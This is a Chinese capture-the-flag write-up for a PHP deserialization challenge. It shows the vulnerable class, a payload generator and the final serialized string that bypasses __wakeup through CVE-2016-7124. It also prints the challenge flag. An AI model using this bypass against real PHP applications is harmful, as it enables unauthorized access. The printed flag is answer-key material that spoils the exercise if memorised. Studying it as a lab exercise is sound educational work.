[SWPUCTF 2021 新生赛]no_wakeup
[SWPUCTF 2021 新生赛]no_wakeup
考点
反序列化
一、题目
打开题目发现如下代码
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?> NSSCTF{58480194-3db4-490b-a0ed-6c086409f007}
二、WP
题目很简单,只需要使得admin=admin并且passwd=wllm,则可获取到flag,但是其中多了一个__wakeup
的魔术方法,此魔术方法的调用条件:
当使用unserialize时被调用,可用于做些对象的初始化操作。
此魔术方法在CTF中经常利用到以下知识点:
__wakeup()
函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行
接下来我们编写payload
<?php
class HaHaHa{
public $admin="admin";
public $passwd="wllm";
}
$a=new HaHaHa();
echo serialize($a);
?>
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
然后我们利用CVE-2016-7124,也就是刚刚的__wakeup()
函数漏洞,绕过__wakeup()
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}